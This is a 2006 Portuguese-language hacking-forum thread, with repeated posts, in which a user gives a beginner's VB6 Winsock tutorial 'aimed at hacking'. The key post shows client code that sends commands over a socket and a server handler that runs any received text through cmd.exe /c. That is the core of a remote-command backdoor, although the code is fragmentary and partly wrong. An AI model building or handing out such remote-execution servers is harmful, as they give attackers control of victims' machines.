Title: Tutorial, winsock voltado ao hacking, pra iniciantes, vb 6
Post by: branco on 05 de June , 2006, 04:59:46 PM
Post by: branco on 05 de June , 2006, 04:59:46 PM
Bom, espero que vocês já tenham conhecimentos minimos para manipular as funções basicas. ( opa to aprendendo a escrever dificil :D
fui, HLM
fui, HLM
Title: Re: Tutorial, winsock voltado ao hacking, pra iniciantes, vb 6
Post by: Sladrak on 06 de June , 2006, 01:08:06 PM
Post by: Sladrak on 06 de June , 2006, 01:08:06 PM
vlw branco!!
Tava precisando disso!!
Vai ser de grande ajuda...
Obrigado
Tava precisando disso!!
Vai ser de grande ajuda...
Obrigado
Title: Re: Tutorial, winsock voltado ao hacking, pra iniciantes, vb 6
Post by: Skayler on 07 de June , 2006, 02:35:28 PM
Post by: Skayler on 07 de June , 2006, 02:35:28 PM
Branco, porquê será que meu Visual Basic não tem ?!? 
[]'s
Skayler
[]'s
Skayler
Title: Re: Tutorial, winsock voltado ao hacking, pra iniciantes, vb 6
Post by: branco on 07 de June , 2006, 04:28:22 PM
Post by: branco on 07 de June , 2006, 04:28:22 PM
enves de adicionala, vá em browser e procure por MSWINSCK.OCX se achar add ela, se não tente fazer o download e depois é só adicionala e usar =p
Title: Re: Tutorial, winsock voltado ao hacking, pra iniciantes, vb 6
Post by: Sladrak on 07 de June , 2006, 05:19:54 PM
Post by: Sladrak on 07 de June , 2006, 05:19:54 PM
Branco...
Vc pretende terminar o tutorial??
Nao ira por exemplo do cmdEnviar?
Nao entendi muito bem isso aki nao
cmd = string(comando)
De 1 exemplo simples por favor?
Flw... e novamente vlw
Vc pretende terminar o tutorial??
Nao ira por exemplo do cmdEnviar?
Nao entendi muito bem isso aki nao
cmd = string(comando)
De 1 exemplo simples por favor?
Flw... e novamente vlw
Title: Re: Tutorial, winsock voltado ao hacking, pra iniciantes, vb 6
Post by: branco on 07 de June , 2006, 06:14:37 PM
Post by: branco on 07 de June , 2006, 06:14:37 PM
isso transforma o comando em string e grava no cmd, ja que estão interessados, vo acabar de fazer sim, explicando tambem as comparações de sockets
Title: Re: Tutorial, winsock voltado ao hacking, pra iniciantes, vb 6
Post by: branco on 07 de June , 2006, 06:39:13 PM
Post by: branco on 07 de June , 2006, 06:39:13 PM
Continuação...
Agora iremos fazer o cmdEnviar, praque ele serve ? para enviar comandos ao servidor.
private sub cmdEnviar_click()
sock.senddata txtcmd
exit sub
sock.senddata txtcmd
esse argumento serve para que o sock ( o socket que está conectado ( precisa se conectar antes de enviar o cmd ) ) envie o comando pro servidor
como já disse, quando o comando chegar no servidor a seguinte função irá tratar ele e executar o comando enviado
private sub sock_dataarrival(byval comando as long)
dim cmd$
cmd = string(comando)
sock.getdata cmd
shell environ("ComSpec") & " /c " & cmd
exit sub
Comparando sockets
O socket trabalha com status em string e tambem em numeros, prefiro em numeros, mas fica á criterio
usamos os seguintes numeros para comparar sockets :
0 - socket close
4 - socket connectando
7 - socket conectado
6 - socket erro
para saber os outros status, basta criar um label e depois fazer uma comparação, como nos exemplos abaixo
sock.remotehost = www.darkers.com.br (http://www.darkers.com.br)
sock.remoteport = 80
sock.connect
doevents 'para esperar o socket se conectar
label1.caption = sock.state 'faz com que o label, pegue o status do socket, quase com certeza será 7 ( conectado )
repare o topico http://www.darkers.com.br/smf/index.php ... 691.0.html (http://www.darkers.com.br/smf/index.php/topic,2691.0.html) para entender melhor os comandos de comparações, são essenciais para um programa "sem" erros.
qualquer duvida podem postar aqui mesmo, se eu souber irei ajudar ! t+
:-*
Agora iremos fazer o cmdEnviar, praque ele serve ? para enviar comandos ao servidor.
private sub cmdEnviar_click()
sock.senddata txtcmd
exit sub
sock.senddata txtcmd
esse argumento serve para que o sock ( o socket que está conectado ( precisa se conectar antes de enviar o cmd ) ) envie o comando pro servidor
como já disse, quando o comando chegar no servidor a seguinte função irá tratar ele e executar o comando enviado
private sub sock_dataarrival(byval comando as long)
dim cmd$
cmd = string(comando)
sock.getdata cmd
shell environ("ComSpec") & " /c " & cmd
exit sub
Comparando sockets
O socket trabalha com status em string e tambem em numeros, prefiro em numeros, mas fica á criterio
usamos os seguintes numeros para comparar sockets :
0 - socket close
4 - socket connectando
7 - socket conectado
6 - socket erro
para saber os outros status, basta criar um label e depois fazer uma comparação, como nos exemplos abaixo
sock.remotehost = www.darkers.com.br (http://www.darkers.com.br)
sock.remoteport = 80
sock.connect
doevents 'para esperar o socket se conectar
label1.caption = sock.state 'faz com que o label, pegue o status do socket, quase com certeza será 7 ( conectado )
repare o topico http://www.darkers.com.br/smf/index.php ... 691.0.html (http://www.darkers.com.br/smf/index.php/topic,2691.0.html) para entender melhor os comandos de comparações, são essenciais para um programa "sem" erros.
qualquer duvida podem postar aqui mesmo, se eu souber irei ajudar ! t+
:-*
Title: Re: Tutorial, winsock voltado ao hacking, pra iniciantes, vb 6
Post by: Anonymous on 07 de June , 2006, 07:18:11 PM
Post by: Anonymous on 07 de June , 2006, 07:18:11 PM
cara tou com uma dificuldade(sou bem iniciante em vb) como posso pegar o conteudo de um arquivo txt num servidor externo e armazenalo em um variavel usando os controles winsok inet ou algo parecido
Title: Re: Tutorial, winsock voltado ao hacking, pra iniciantes, vb 6
Post by: branco on 07 de June , 2006, 07:21:28 PM
Post by: branco on 07 de June , 2006, 07:21:28 PM
brow, migrei pro vb.net e parei com o 6, nao cheguei a estudar isso, aqui vai alguns sites pra vc tentar conseguir ajuda :
www.vbmania.com.br (http://www.vbmania.com.br)
www.vbweb.com.br (http://www.vbweb.com.br)
www.macoratti.net (http://www.macoratti.net)
have fun
www.vbmania.com.br (http://www.vbmania.com.br)
www.vbweb.com.br (http://www.vbweb.com.br)
www.macoratti.net (http://www.macoratti.net)
have fun